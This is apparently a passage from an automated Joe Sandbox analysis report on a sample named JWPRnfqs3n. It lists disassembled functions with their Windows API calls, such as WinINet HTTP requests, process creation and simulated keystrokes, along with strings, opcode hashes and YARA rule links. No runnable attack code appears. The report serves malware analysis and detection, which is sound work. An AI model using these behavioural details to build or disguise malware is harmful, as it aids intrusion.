Opcode ID: ec1810bc4795bd5b4b533a4cb0d6aa7263f70cc48c536c5f65f6fb0c9a4d7798
Instruction ID: 94913e8665c57bd0c1b718785faddd381c8c8c8f749082909420b160769076a3
Opcode Fuzzy Hash: ec1810bc4795bd5b4b533a4cb0d6aa7263f70cc48c536c5f65f6fb0c9a4d7798
Instruction Fuzzy Hash: 8C31AE75610208ABDF10DF54FC58F6937BAFF54315F154229F901C72A2EB74AD508B50

Function 0080FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0080FAA6
OleUninitialize.OLE32(?,00000000), ref: 0080FB45
UnregisterHotKey.USER32(?), ref: 0080FC9C
DestroyWindow.USER32(?), ref: 008445D6
FreeLibrary.KERNEL32(?), ref: 0084463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00844668

Strings

close all, xrefs: 0080FAA1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: d8481203610356dd5064f9ed68c5ba04131fa05055b2a6a782a044b8766855f7
Instruction ID: 97f13684d663195bb9d0d620bdda0e8fd70fe302d364f9d354957617b921e685
Opcode Fuzzy Hash: d8481203610356dd5064f9ed68c5ba04131fa05055b2a6a782a044b8766855f7
Instruction Fuzzy Hash: 38A17C303012268FDB68EF18C895B69F764FF15714F1142ADE90AEB6A2DB30AC56CF51

Function 0085A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0085A439), ref: 0085A377

Strings

CLASS, xrefs: 0085A0F6
CLASSNN, xrefs: 0085A119
INSTANCE, xrefs: 0085A285
NAME, xrefs: 0085A1A9
TEXT, xrefs: 0085A2AE
REGEXPCLASS, xrefs: 0085A13C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 9f1496a0ad6cd87b15d8181d5d562794c9046f9da9ab0cae7f151ab7b9c84c62
Instruction ID: 78cbaef5d5192757c552b90a66ffbd53bb3540ac30e7c9aa77a290a29c74f6ae
Opcode Fuzzy Hash: 9f1496a0ad6cd87b15d8181d5d562794c9046f9da9ab0cae7f151ab7b9c84c62
Instruction Fuzzy Hash: BF919431500615AACB0CDFA4C8D2BEDFB64FF04305F548229ED5AE7291DB31699DCB92

Function 0088B351 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00E25320), ref: 0088B3EB
IsWindowEnabled.USER32(00E25320), ref: 0088B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0088B4DB
SendMessageW.USER32(00E25320,000000B0,?,?), ref: 0088B512
IsDlgButtonChecked.USER32(?,?), ref: 0088B54F
GetWindowLongW.USER32(00E25320,000000EC), ref: 0088B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0088B589

Strings

S, xrefs: 0088B38A, 0088B401, 0088B4BC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID: S
API String ID: 4072528602-2858979982
Opcode ID: 15b26518efd85ed8d6971a864ad8378e6d74ced03bd041d4a42c233f2a8d34f2
Instruction ID: 620e507eca49535ce326dbc78ce0a614cbd264f2214c2048322cc46645e36f47
Opcode Fuzzy Hash: 15b26518efd85ed8d6971a864ad8378e6d74ced03bd041d4a42c233f2a8d34f2
Instruction Fuzzy Hash: 78718C34600604EFDF20AFA4C895FBA7BB9FF89300F144169EA46D73A2D731A980CB54

Function 00802E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00802EAE

Part of subcall function 00801DB3: GetClientRect.USER32(?,?), ref: 00801DDC
Part of subcall function 00801DB3: GetWindowRect.USER32(?,?), ref: 00801E1D
Part of subcall function 00801DB3: ScreenToClient.USER32(?,?), ref: 00801E45

GetDC.USER32 ref: 0083CD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0083CD45
SelectObject.GDI32(00000000,00000000), ref: 0083CD53
SelectObject.GDI32(00000000,00000000), ref: 0083CD68
ReleaseDC.USER32(?,00000000), ref: 0083CD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0083CDFB

Strings

U, xrefs: 0083CCD0

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: bea5ea6e766351891da99b46b8e21f535005114bfb31308716cc6cb86595ee8d
Instruction ID: 5071d300afdcc05d03021da4989434cdbd01615d95715436e6f5c4438a94662b
Opcode Fuzzy Hash: bea5ea6e766351891da99b46b8e21f535005114bfb31308716cc6cb86595ee8d
Instruction Fuzzy Hash: 4571B231500209DFCF21DF64CC84AAA7BB5FF88324F14427AFD55EA2A6D7319891DBA1

Function 00871A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00871A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00871A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00871ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00871AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00871AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00871B10
InternetCloseHandle.WININET(00000000), ref: 00871B57

Part of subcall function 00872483: GetLastError.KERNEL32(?,?,00871817,00000000,00000000,00000001), ref: 00872498
Part of subcall function 00872483: SetEvent.KERNEL32(?,?,00871817,00000000,00000000,00000001), ref: 008724AD

Strings

, xrefs: 00871B01

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: d6c81f05a94f56ba8305eafdfbb02d4feaabc941238824ff3750ce9c3ff2cec8
Instruction ID: 22978e76ebf57238b55aa65cbca96c6c0c19c47f3ce5e7fd5eac40f8062ad048
Opcode Fuzzy Hash: d6c81f05a94f56ba8305eafdfbb02d4feaabc941238824ff3750ce9c3ff2cec8
Instruction Fuzzy Hash: B5414CB1501218BFEF119F58CC89FBA7BACFB08354F10812AFA09DA145E774DE449BA5

Function 008862CD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 008862EC
GetWindowLongW.USER32(00E25320,000000F0), ref: 0088631F
GetWindowLongW.USER32(00E25320,000000F0), ref: 00886354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00886386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 008863B0
GetWindowLongW.USER32(00000000,000000F0), ref: 008863C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 008863DB

Strings

S, xrefs: 008862D0, 00886304, 00886339, 00886371, 00886395, 008863CD

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: S
API String ID: 2178440468-2858979982
Opcode ID: a9e4feadb5fb12a74be1a2e2fd7627da80415fe073179479a7fbcdea393b4b7d
Instruction ID: 4e0066dbe208f7ccf0f29715fee1c363c70668a7af62be461a280833a72a044b
Opcode Fuzzy Hash: a9e4feadb5fb12a74be1a2e2fd7627da80415fe073179479a7fbcdea393b4b7d
Instruction Fuzzy Hash: CF31F230644251AFDB21DF18EC85F5537E1FB5A714F1902A8F601DF2B2EB71A890DB51

Function 00878C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0088F910), ref: 00878D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0088F910), ref: 00878D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00878ED6
SysFreeString.OLEAUT32(?), ref: 00878F00

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: bfb49c104feb6fa3e9886957d5083c033e193851d89fcc55dae3f24d4de6753a
Instruction ID: d64a7648dfba6dd5eac75d164e1d1239e3dd5b0f9df64e2e6d87dd24b841ec7e
Opcode Fuzzy Hash: bfb49c104feb6fa3e9886957d5083c033e193851d89fcc55dae3f24d4de6753a
Instruction Fuzzy Hash: 0AF10471A00209EFDB14DF98C888AAEB7B9FF49314F108498F949EB255DB31EE45CB51

Function 0087F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0087F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0087F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0087F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0087F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0087F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0087FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0087FA7C
CloseHandle.KERNEL32(?), ref: 0087FAAB
CloseHandle.KERNEL32(?), ref: 0087FB22

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: aaa1cfdc1de808878b56c8748c85ad1436021502e81fcbac56875db447e7d0fa
Instruction ID: f0ecc0f16ca4b6cb49dcb6fd50694b926521f3f9e8d7ab2c6eb2c4851286dc76
Opcode Fuzzy Hash: aaa1cfdc1de808878b56c8748c85ad1436021502e81fcbac56875db447e7d0fa
Instruction Fuzzy Hash: 01E1AC712042509FC714EF29C891B6ABBE1FF89354F14856DFA99DB2A2DB30DC41CB52

Function 00864CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0086466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00863697,?), ref: 0086468B

Part of subcall function 0086466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00863697,?), ref: 008646A4

Part of subcall function 00864A31: GetFileAttributesW.KERNEL32(?,0086370B), ref: 00864A32

lstrcmpiW.KERNEL32(?,?), ref: 00864D40
_wcscmp.LIBCMT ref: 00864D5A
MoveFileW.KERNEL32(?,?), ref: 00864D75

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 9400c719a601a4b75a5593050020b69518bbc2db0213f148f1e168051640e37d
Instruction ID: 1617221ef26b2f37e3814e86a3b71d7b9e881341252c2e0223aa6e740f19dd5e
Opcode Fuzzy Hash: 9400c719a601a4b75a5593050020b69518bbc2db0213f148f1e168051640e37d
Instruction Fuzzy Hash: 0C5150B24083459BC664EBA4D8819DFB7ECFF85350F00192EB689D3192EE35A588C767

Function 00802B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0083C2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0083C319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0083C331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0083C34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0083C370
DestroyIcon.USER32(00000000), ref: 0083C37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0083C39C
DestroyIcon.USER32(?), ref: 0083C3AB

Part of subcall function 0088A4AF: DeleteObject.GDI32(00000000), ref: 0088A4E8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: bd8473b795469050f521d9e7691a2075d14bc1215a930472ad5b83987350332d
Instruction ID: b771ce93ff4e3c74100d9dd96cf5670fb4d073b554f42d864cf3980a789fad97
Opcode Fuzzy Hash: bd8473b795469050f521d9e7691a2075d14bc1215a930472ad5b83987350332d
Instruction Fuzzy Hash: DB512970610209EFDB64DF68CC59FAA7BB5FB58320F104529F946E72E0D7B0A990DB90

Function 0085966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0085A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0085A84C
Part of subcall function 0085A82C: GetCurrentThreadId.KERNEL32 ref: 0085A853
Part of subcall function 0085A82C: AttachThreadInput.USER32(00000000,?,00859683,?,00000001), ref: 0085A85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 0085968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 008596AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 008596AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 008596B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 008596D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 008596D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 008596E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 008596F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 008596FB

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 54e746c9a0388225e78e42b90c28a44cd57cdfd6dbd436a795aa8fe7e26eca82
Instruction ID: 560a666a6af6d6efb5327a8a48e5cdda5256998ce49bdeb11b68c29a241c66c6
Opcode Fuzzy Hash: 54e746c9a0388225e78e42b90c28a44cd57cdfd6dbd436a795aa8fe7e26eca82
Instruction Fuzzy Hash: 0B11CEB1A10218BEFA106B689C89F6A3A2DFB4C752F100525F744EB0A1C9F25C10DBA4

Function 00858921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0085853C,00000B00,?,?), ref: 0085892A
HeapAlloc.KERNEL32(00000000,?,0085853C,00000B00,?,?), ref: 00858931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0085853C,00000B00,?,?), ref: 00858946
GetCurrentProcess.KERNEL32(?,00000000,?,0085853C,00000B00,?,?), ref: 0085894E
DuplicateHandle.KERNEL32(00000000,?,0085853C,00000B00,?,?), ref: 00858951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0085853C,00000B00,?,?), ref: 00858961
GetCurrentProcess.KERNEL32(0085853C,00000000,?,0085853C,00000B00,?,?), ref: 00858969
DuplicateHandle.KERNEL32(00000000,?,0085853C,00000B00,?,?), ref: 0085896C
CreateThread.KERNEL32(00000000,00000000,00858992,00000000,00000000,00000000), ref: 00858986

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 044bba99d684d3f3ed3bb26fb1c2552249d06fdc1f6aaef271cdc4bddad81979
Instruction ID: d7bafcd81ea3e68574c7d8842ef06bf9d5c908ab31372e89d7f910a83d806b02
Opcode Fuzzy Hash: 044bba99d684d3f3ed3bb26fb1c2552249d06fdc1f6aaef271cdc4bddad81979
Instruction Fuzzy Hash: E601AC75240304FFE611ABA9DC8DF677B6CFB89711F404421FB05DB191CA74A8108B20

Function 00879B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00879BA4, 00879EC8
Not an Object type, xrefs: 00879B7B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: a0b0fc1ce4362fee8fa657d6917617ef9179793848d4b37aafb8c7785ce261f0
Instruction ID: 8dce0ed1e1dab6d89c18ed6916c78ce29d310dfd7e87aa31a7513c453178fa55
Opcode Fuzzy Hash: a0b0fc1ce4362fee8fa657d6917617ef9179793848d4b37aafb8c7785ce261f0
Instruction Fuzzy Hash: 6BC1A271A0021A9FDF10DF98D884AAEB7F5FB88314F158469E949EB285E770ED44CB90

Function 00879113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00879167
VariantInit.OLEAUT32(?), ref: 00879238
VariantInit.OLEAUT32(?), ref: 00879339
VariantClear.OLEAUT32(?), ref: 00879343
VariantClear.OLEAUT32(?), ref: 008793A0

Strings

Null Object assignment in FOR..IN loop, xrefs: 008791C8, 008792F6, 008793AE
Incorrect Object type in FOR..IN loop, xrefs: 0087931C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 4f5b75c55a0f537343812f83045185c08a6ae60919a4422a647fc972c1535704
Instruction ID: bec37376e6e3795b16e76504e989bcc43928956bba14f4dcb69b93c7943d61a9
Opcode Fuzzy Hash: 4f5b75c55a0f537343812f83045185c08a6ae60919a4422a647fc972c1535704
Instruction Fuzzy Hash: 5C918A71A00219ABDF20DFA5C888FAEBBB8FF45714F108159F559EB289D770D944CBA0

Function 0087975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 0085710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?,?,00857455), ref: 00857127
Part of subcall function 0085710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?), ref: 00857142
Part of subcall function 0085710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?), ref: 00857150
Part of subcall function 0085710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?), ref: 00857160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00879806
_memset.LIBCMT ref: 00879813
_memset.LIBCMT ref: 00879956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00879982
CoTaskMemFree.OLE32(?), ref: 0087998D

Strings

NULL Pointer assignment, xrefs: 008799DB

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

